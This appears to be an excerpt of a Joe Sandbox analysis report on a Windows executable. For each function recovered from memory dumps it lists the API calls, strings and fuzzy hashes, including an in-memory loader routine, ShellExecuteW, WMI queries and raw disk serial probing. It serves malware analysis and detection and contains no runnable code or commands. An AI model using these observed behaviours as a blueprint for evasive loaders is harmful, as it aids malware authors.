Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocVirtual$AddressLibraryLoadProc
String ID: s<O?(Su(
API String ID: 2938105391-2579506083
Opcode ID: b3fac43b6f37ce7f2159d76fdb1eea15d15c32a495f9fe60442fcf7cf701a851
Instruction ID: 98f8efe1d1dce6292f322ff0c0b8de9db3192ba101f6e8a77763a19099652570
Opcode Fuzzy Hash: b3fac43b6f37ce7f2159d76fdb1eea15d15c32a495f9fe60442fcf7cf701a851
Instruction Fuzzy Hash: 39A12471E012299FCB14CFA8D980BADBBF1BF49305F6881AAD845EB341D778A941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 025BE597 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VUUU, xrefs: 025BE6B5

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: VUUU
API String ID: 0-2040033107
Opcode ID: 2b3582ded2f59462f7dfd74485a4df2a3a2b4d111fa04d78d3bbe2aa65126484
Instruction ID: ea19256d3f95c5b865720783486d2e9e279fea0334f6943954ef772bc8db16c1
Opcode Fuzzy Hash: 2b3582ded2f59462f7dfd74485a4df2a3a2b4d111fa04d78d3bbe2aa65126484
Instruction Fuzzy Hash: 4F512872A042024FD72A8F29C8423EABBD6BFC5254F59853DD989CB291F731DC06C789

Uniqueness

Uniqueness Score: -1.00%

Function 02581C36 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(00000000), ref: 02581C96
SysFreeString.OLEAUT32(00000000), ref: 02581CA1

Part of subcall function 02581BFE: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,02581E0B), ref: 02581C2B

SysFreeString.OLEAUT32(00000000), ref: 02581CC2
SysFreeString.OLEAUT32(00000000), ref: 02581CCD

Strings

WQL, xrefs: 02581C4B

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Free$String$Heap
String ID: WQL
API String ID: 4134718113-1249411209
Opcode ID: 387e91a87de461f81f88d0d5442a858492e3e640890d82b1b08078475b4ac16f
Instruction ID: b508ced69dfa96ce82dbcb0b63266e89f778b224e724a57ccff6e3ff15085e79
Opcode Fuzzy Hash: 387e91a87de461f81f88d0d5442a858492e3e640890d82b1b08078475b4ac16f
Instruction Fuzzy Hash: 9D51AE719087419BD710EF24C44066BBBE5FFC9314F14CA1DF98AA7251E7B0EA86CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0041AECC Relevance: 7.7, APIs: 5, Instructions: 172COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041AF29
GetFileType.KERNEL32(?), ref: 0041AFD3
GetStdHandle.KERNEL32(-000000F6), ref: 0041B054

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID:
API String ID: 2461013171-0
Opcode ID: 2d49ff2e1dac1d461a9ba017d4f7fce9fd659b37ad6f8575f489bd24d7f4b863
Instruction ID: cad9638fdaf26c8eb5ebf78c6630cc0ebb1e4dd1610fc6893beeae660980b453
Opcode Fuzzy Hash: 2d49ff2e1dac1d461a9ba017d4f7fce9fd659b37ad6f8575f489bd24d7f4b863
Instruction Fuzzy Hash: AE51E4712057418FC720CF28C8847A77BE0EB15324F298A7EE5A6C72E1D738D89AC759

Uniqueness

Uniqueness Score: -1.00%

Function 0257EA66 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0257EAD1
ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0257EAE4
GetLastError.KERNEL32 ref: 0257EAEF
HeapFree.KERNEL32(00000000,?), ref: 0257EB4D
HeapFree.KERNEL32(00000000,?), ref: 0257EB66

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorExecuteLastShell
String ID:
API String ID: 1794832005-0
Opcode ID: 942958ca736297a33add4700d822dde069954ec2edf6c2fa64bb55052fb4406a
Instruction ID: 7426dce7dbe5027bf7af736376174650d2f3a051616072376a2a87d56addddb9
Opcode Fuzzy Hash: 942958ca736297a33add4700d822dde069954ec2edf6c2fa64bb55052fb4406a
Instruction Fuzzy Hash: C1316FB0500301AFD720DF14D808B5ABBEAFF84314F14895CF94987291D771989ACF99

Uniqueness

Uniqueness Score: -1.00%

Function 0042C704 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 215librarymemoryloaderCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,?,0000001B), ref: 0042C73A
LoadLibraryA.KERNELBASE(?), ref: 0042C8B1
GetProcAddress.KERNELBASE(?,-00000002), ref: 0042C8E1

Strings

s<O?(Su(, xrefs: 0042C70B

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: s<O?(Su(
API String ID: 4074058790-2579506083
Opcode ID: f2fd0d41c120b0acc762afd2b1f5d72efe51c0065ea40216067eb6c2da04019b
Instruction ID: 4dfecaa40277070d29589cf71415a5a9c46b68c125777a1cbeafcd6e7af7fa96
Opcode Fuzzy Hash: f2fd0d41c120b0acc762afd2b1f5d72efe51c0065ea40216067eb6c2da04019b
Instruction Fuzzy Hash: 63912471E01229DFCB24CFA8D980BADBBF1BF49305F6881AAD845EB341D734A941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 025D9760 Relevance: 6.1, APIs: 4, Instructions: 111comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(026137A4,00000000,00000001,02613788,?,?,0259AA3A,0000000A), ref: 025D9781
SysFreeString.OLEAUT32(00000000), ref: 025D97EC
CoSetProxyBlanket.OLE32 ref: 025D981A
SysFreeString.OLEAUT32(00000000), ref: 025D9865

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeString$BlanketCreateInstanceProxy
String ID:
API String ID: 459372342-0
Opcode ID: 7a65e0bbd0b2a56aaadfea8427cd89b2b59626a12e39972bba5accdecd4cccc1
Instruction ID: ef27bc3b076f12c38d2072476d5a8b8a1c463265cfc37a660c2816b0cae54cc0
Opcode Fuzzy Hash: 7a65e0bbd0b2a56aaadfea8427cd89b2b59626a12e39972bba5accdecd4cccc1
Instruction Fuzzy Hash: FC4161B0A443429FD3209F6DC48862AFBF5BFC4714F14892DE98ACB210EB70D885CB15

Uniqueness

Uniqueness Score: -1.00%

Function 025C98D0 Relevance: 4.6, APIs: 3, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000), ref: 025C9935
GetLastError.KERNEL32 ref: 025C9948
HeapFree.KERNEL32(00000000,?), ref: 025C9961

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: CreateDirectoryErrorFreeHeapLast
String ID:
API String ID: 2326324456-0
Opcode ID: f9e1e2c2968e5fa683c2755f85cffd20bab0226ea8257ebe05a166709b0411e4
Instruction ID: ca7384d6450fdddaf11a85f6d74eb8f035c6e6fe850d73de98f3b63f8dec2d88
Opcode Fuzzy Hash: f9e1e2c2968e5fa683c2755f85cffd20bab0226ea8257ebe05a166709b0411e4
Instruction Fuzzy Hash: 78115EB15083429FD7289F55D88472BBBE5FF95710F20482DE9C587650E730D844DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 025BEE40 Relevance: 4.5, APIs: 3, Instructions: 39threadmemoryCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 025BEE8A
SetThreadDescription.KERNELBASE(00000000,?,?,?,?,?,?,?,?,0256EB3C), ref: 025BEE98
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,0256EB3C), ref: 025BEEA7

Part of subcall function 025C16E0: HeapFree.KERNEL32(00000000,?), ref: 025C1778

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeapThread$CurrentDescription
String ID:
API String ID: 2762239883-0
Opcode ID: fb5b8077efae5d8092707a36ae87be8c753d358fcadcb11241f7a4fcff2b0ed0
Instruction ID: f41cc710990123eb65c5190dcdc217d6f3d77a412b0dd0ace4a9f3afee25d88b
Opcode Fuzzy Hash: fb5b8077efae5d8092707a36ae87be8c753d358fcadcb11241f7a4fcff2b0ed0
Instruction Fuzzy Hash: 25F0A475A041029FC714AA54EC09BAF7776BFC0314F548D2CE84987144E7309894CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 025E65E2 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 025E662E
GetFileType.KERNELBASE(00000000), ref: 025E6640

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 3a8d265d7436f248c25574c8b28e521f8651df04f5fc998e26b8b347e887a28f
Instruction ID: 5ce1bfe6d547c452b3ab5e2ff3fcb50a8eb1a21e7b3e4373bf3f835e90b0b20d
Opcode Fuzzy Hash: 3a8d265d7436f248c25574c8b28e521f8651df04f5fc998e26b8b347e887a28f
Instruction Fuzzy Hash: 781103F15247414ACF384E3E9C88623BE9CB7762B4B290B5AE5B7C25F1C330D586C649

Uniqueness

Uniqueness Score: -1.00%

Function 025D96A2 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 025D96B8
CoInitializeSecurity.OLE32 ref: 025D96E4

Part of subcall function 025D8B49: GetErrorInfo.OLEAUT32(00000000,?,?,02580204,?,000000FF,00000001,?,?), ref: 025D8B5C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Initialize$ErrorInfoSecurity
String ID:
API String ID: 3572798514-0
Opcode ID: 738ed9fea0d50f61cf3b7d07793ff43b474b057910ef39b162456b0f15a1ec38
Instruction ID: ef3db5bf5981c487b9534f22c7b44450ceaa48285ec31f29ad7dd6f64aba8dd2
Opcode Fuzzy Hash: 738ed9fea0d50f61cf3b7d07793ff43b474b057910ef39b162456b0f15a1ec38
Instruction Fuzzy Hash: D9116A759087028BD764AF7DD50926ABBF0BF85218F048A2DD9C996221FB30E5D4CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0256ED80 Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

FreeConsole.KERNEL32 ref: 0256EDC1

Part of subcall function 02591E40: HeapFree.KERNEL32(00000000,?), ref: 02591FCF

HeapFree.KERNEL32(00000000,00000000), ref: 0256EDF6

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Free$Heap$Console
String ID:
API String ID: 2715786339-0
Opcode ID: 7597654d3ad681da1decc7d66c3477de9babbf6b88ba928b45b4c0fce01ce6f9
Instruction ID: 48c580afbc120fb016b27b37c58e0518e429509667f8af1198976ab81c0d9b27
Opcode Fuzzy Hash: 7597654d3ad681da1decc7d66c3477de9babbf6b88ba928b45b4c0fce01ce6f9
Instruction Fuzzy Hash: 4501D6FAC811065BC7747B35EC0EA6E7B39BF90240F045424E81886244E734622DCFDE

Uniqueness

Uniqueness Score: -1.00%

Function 00418875 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00415EAC,00000001,?,0043A478,00000060), ref: 00418886

Part of subcall function 004188C6: HeapAlloc.KERNEL32(00000000,00000140,004188AE,000003F8,?,0043A478,00000060), ref: 004188D3

HeapDestroy.KERNEL32(?,0043A478,00000060), ref: 004188B9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 081eba9be5826635cbb7a29082c7bc61fc15faa81be005bd4fff385f22785363
Instruction ID: 558faf22d0d10c49c59805d7195a1265b1ee3e9db6c9b0bb3573a997b10f9ed6
Opcode Fuzzy Hash: 081eba9be5826635cbb7a29082c7bc61fc15faa81be005bd4fff385f22785363
Instruction Fuzzy Hash: C3E09A78B113029AEF507B70AC057AA3BE4EB64746FC4883EB404C50A8EF2888849A0C

Uniqueness

Uniqueness Score: -1.00%

Function 025CD330 Relevance: 1.5, APIs: 1, Instructions: 2COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 025CD331

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0feb59d42df1779b953abbd346d45c634504067f4333d6dbf2f440735a7346b2
Instruction ID: e7643214fd2a533918b3c2fba7c6d804e3279d3c18b8162a5738ce92749cc464
Opcode Fuzzy Hash: 0feb59d42df1779b953abbd346d45c634504067f4333d6dbf2f440735a7346b2
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040A770 Relevance: 88.6, APIs: 34, Strings: 16, Instructions: 1068fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A740: GetVersionExA.KERNEL32(00000000), ref: 0040A753

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,00000000,?,?), ref: 0040A7CC
DeviceIoControl.KERNEL32(00000000,0004D008,?,0000003C,?,0000022D,?,00000000), ref: 0040A86E
CloseHandle.KERNEL32(00000000,?,?,?,?,?,SCSIDISK,00000008), ref: 0040A8BA
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 0040A9B2
DeviceIoControl.KERNEL32 ref: 0040A9E9
CloseHandle.KERNEL32(00000000,?,00000000,00000000,?,00000018,?,00000000), ref: 0040AA7B
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040ADB1
CopyFileA.KERNEL32(?,?,00000000), ref: 0040AEE7

Strings

\IOSUBSYS\SMARTVSD.VXD, xrefs: 0040AE2F
IOSUBSYS\SMARTVSD.VXD, xrefs: 0040AE67
SCSIDISK, xrefs: 0040A7F2
\, xrefs: 0040AE25
\DiskSerial.VXD, xrefs: 0040B0B7
DiskSerial.VXD, xrefs: 0040B0C3
\\.\PhysicalDrive%d, xrefs: 0040A98D, 0040AB4E
SMARTVSD.VXD, xrefs: 0040AE98
DISKSERIAL, xrefs: 0040B11D
DiskSerial, xrefs: 0040B122
\\.\Scsi%d:, xrefs: 0040A7A1
\\.\DiskSerial.vxd, xrefs: 0040B178
\SMARTVSD.VXD, xrefs: 0040AE60
L, xrefs: 0040ABF7
\, xrefs: 0040B0BC
\\.\SMARTVSD, xrefs: 0040AEF9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: File$CloseControlCreateDeviceHandle$CopyDirectorySystemVersion
String ID: DISKSERIAL$DiskSerial$DiskSerial.VXD$IOSUBSYS\SMARTVSD.VXD$L$SCSIDISK$SMARTVSD.VXD$\$\$\DiskSerial.VXD$\IOSUBSYS\SMARTVSD.VXD$\SMARTVSD.VXD$\\.\DiskSerial.vxd$\\.\PhysicalDrive%d$\\.\SMARTVSD$\\.\Scsi%d:
API String ID: 1683039047-3280731534
Opcode ID: 5381b5551287e4adfd786a5f55f6f4a67c4bd9771a8bb3c3fab6e6aed8b98872
Instruction ID: 93a60672a8556de03baec2beb5f329e244e6174530f919b371a39b0e8372696b
Opcode Fuzzy Hash: 5381b5551287e4adfd786a5f55f6f4a67c4bd9771a8bb3c3fab6e6aed8b98872
Instruction Fuzzy Hash: FA7246723003045BE328DA389C46BEB77D5EBC4310F544A3EFA5A9B2C0DEB99909C759

Uniqueness

Uniqueness Score: -1.00%

Function 0257771C Relevance: 87.8, APIs: 53, Strings: 4, Instructions: 2345memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D04E9
Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D0510
Part of subcall function 025D04D0: TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
Part of subcall function 025D04D0: BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

HeapFree.KERNEL32(00000000,?), ref: 02577B39
HeapFree.KERNEL32(00000000,?), ref: 02577B7D

Part of subcall function 0257D120: HeapFree.KERNEL32(00000000,?,?,?,?,0257735D), ref: 0257D16E

Part of subcall function 025728BD: HeapFree.KERNEL32(00000000,?,?,0257F7AE,?,025FF438,0260D02C), ref: 0257295C

HeapFree.KERNEL32(00000000,?), ref: 02577B96
HeapFree.KERNEL32(00000000,?), ref: 02577C8E

Part of subcall function 02572678: HeapFree.KERNEL32(00000000,?,025812D5), ref: 0257269A

HeapFree.KERNEL32(00000000,?), ref: 02578000
HeapFree.KERNEL32(00000000,?), ref: 02578019
HeapFree.KERNEL32(00000000,?), ref: 02578508
HeapFree.KERNEL32(00000000,?), ref: 0257858A
HeapFree.KERNEL32(00000000,?), ref: 025785DC
HeapFree.KERNEL32(00000000,?), ref: 02578661
HeapFree.KERNEL32(00000000,?), ref: 025786AF
HeapFree.KERNEL32(00000000,?), ref: 025786CC
HeapFree.KERNEL32(00000000,?), ref: 0257889D
HeapFree.KERNEL32(00000000,?), ref: 02578A33
HeapFree.KERNEL32(00000000,?), ref: 02578B5A
HeapFree.KERNEL32(00000000,?), ref: 02578D80

Part of subcall function 025C6A20: SetLastError.KERNEL32(00000000), ref: 025C6AE3
Part of subcall function 025C6A20: GetLastError.KERNEL32 ref: 025C6AF8
Part of subcall function 025C6A20: GetLastError.KERNEL32 ref: 025C6B0A
Part of subcall function 025C6A20: HeapFree.KERNEL32(00000000,00000002), ref: 025C6B80

HeapFree.KERNEL32(00000000,?), ref: 02578EA7
HeapFree.KERNEL32(00000000,?), ref: 025790AA
HeapFree.KERNEL32(00000000,?), ref: 02579222
HeapFree.KERNEL32(00000000,?), ref: 025792B9
HeapFree.KERNEL32(00000000,?), ref: 02579318
HeapFree.KERNEL32(00000000,?), ref: 025793A3
HeapFree.KERNEL32(00000000,?), ref: 02579551
HeapFree.KERNEL32(00000000,?), ref: 0257956A
HeapFree.KERNEL32(00000000,?), ref: 02579583
GetLastError.KERNEL32 ref: 02579693
HeapFree.KERNEL32(00000000,?), ref: 02579803
HeapFree.KERNEL32(00000000,?), ref: 0257988A
HeapFree.KERNEL32(00000000,?), ref: 025798DC
HeapFree.KERNEL32(00000000,?), ref: 0257992A
HeapFree.KERNEL32(00000000,?), ref: 0257994B
HeapFree.KERNEL32(00000000,?), ref: 0257996A
HeapFree.KERNEL32(00000000,?), ref: 02579995
HeapFree.KERNEL32(00000000,?), ref: 025799B2
HeapFree.KERNEL32(00000000,?), ref: 025799E0
HeapFree.KERNEL32(00000000,?), ref: 02579A84
HeapFree.KERNEL32(00000000,?), ref: 02579AA9
HeapFree.KERNEL32(00000000,?), ref: 02579BA4
HeapFree.KERNEL32(00000000,?), ref: 02579CFB
HeapFree.KERNEL32(00000000,?), ref: 02579D14
GetLastError.KERNEL32 ref: 02579D2E
HeapFree.KERNEL32(00000000,?), ref: 02579D61
HeapFree.KERNEL32(00000000,?), ref: 02579D7E
GetLastError.KERNEL32 ref: 02579DC0
HeapFree.KERNEL32(00000000), ref: 02579E1A
HeapFree.KERNEL32(00000000,?), ref: 02579E77

Part of subcall function 025617D0: HeapFree.KERNEL32(00000000,?), ref: 02561998

HeapFree.KERNEL32(00000000,?), ref: 02579EC8
HeapFree.KERNEL32(00000000,?), ref: 02579EE1
HeapFree.KERNEL32(00000000,?), ref: 02579EFA
HeapFree.KERNEL32(00000000,?), ref: 02579F2C

Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,?), ref: 0257FBD0
Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,00000000), ref: 0257FBDF

HeapFree.KERNEL32(00000000,?), ref: 02579F7C
HeapFree.KERNEL32(00000000,?), ref: 02579FA0
HeapFree.KERNEL32(00000000,?), ref: 02579FBA

Strings

`async fn` resumed after completion, xrefs: 02577E02, 02577E16, 02577E2A, 02577E3E, 02577E52, 02577E66
Invalid, xrefs: 025794AA, 025794D3, 02579BF1, 02579C3B
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 02577DE8
Bj0Y, xrefs: 02579029

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorLast$Value$CryptRandom
String ID: Bj0Y$Invalid$`async fn` resumed after completion$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs
API String ID: 1996510134-2244339143
Opcode ID: 2725746a309ccbdab0fde705be508091761fde0b742788d8cff5d46dac4d75d0
Instruction ID: 8f7d463ca79ad4b1ad9e432b0c0508f665c254c7e4e5cf50c660e4a81ea2b633
Opcode Fuzzy Hash: 2725746a309ccbdab0fde705be508091761fde0b742788d8cff5d46dac4d75d0
Instruction Fuzzy Hash: EE338D71A487829FD725CF24D844BABFBE1BFC9304F04892DE88997250E730A955CF96

Uniqueness

Uniqueness Score: -1.00%

Function 025A0225 Relevance: 77.0, APIs: 44, Strings: 6, Instructions: 2020memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,0257CDE7), ref: 025A0462
HeapFree.KERNEL32(00000000,?), ref: 025A047B
HeapFree.KERNEL32(00000000,?), ref: 025A060C

Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,?), ref: 0257FBD0
Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,00000000), ref: 0257FBDF

HeapFree.KERNEL32(00000000,0257CDE7), ref: 025A06B0
HeapFree.KERNEL32(00000000,?), ref: 025A06C9
HeapFree.KERNEL32(00000000,?), ref: 025A07AF
HeapFree.KERNEL32(00000000,?), ref: 025A0C60

Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D0037
Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D004C

HeapFree.KERNEL32(00000000,?), ref: 025A0CE0
HeapFree.KERNEL32(00000000,?), ref: 025A0F10
CloseHandle.KERNEL32(?), ref: 025A0F85
HeapFree.KERNEL32(00000000,?), ref: 025A0FE5
HeapFree.KERNEL32(00000000,?), ref: 025A10A7
HeapFree.KERNEL32(00000000,?), ref: 025A10F1
HeapFree.KERNEL32(00000000,?), ref: 025A13F9

Part of subcall function 0258172D: HeapFree.KERNEL32(00000000,?,?,?,?,?,025BC142), ref: 02581775

HeapFree.KERNEL32(00000000,00000000), ref: 025A111E
HeapFree.KERNEL32(00000000,?), ref: 025A12D1
HeapFree.KERNEL32(00000000,?), ref: 025A14FC
HeapFree.KERNEL32(00000000,?), ref: 025A1592
HeapFree.KERNEL32(00000000,?), ref: 025A1695
HeapFree.KERNEL32(00000000,?), ref: 025A1700
HeapFree.KERNEL32(00000000,?), ref: 025A1724
HeapFree.KERNEL32(00000000,?), ref: 025A17A8
HeapFree.KERNEL32(00000000,00000004), ref: 025A17E8
HeapFree.KERNEL32(00000000,?), ref: 025A1807
HeapFree.KERNEL32(00000000,?), ref: 025A1827
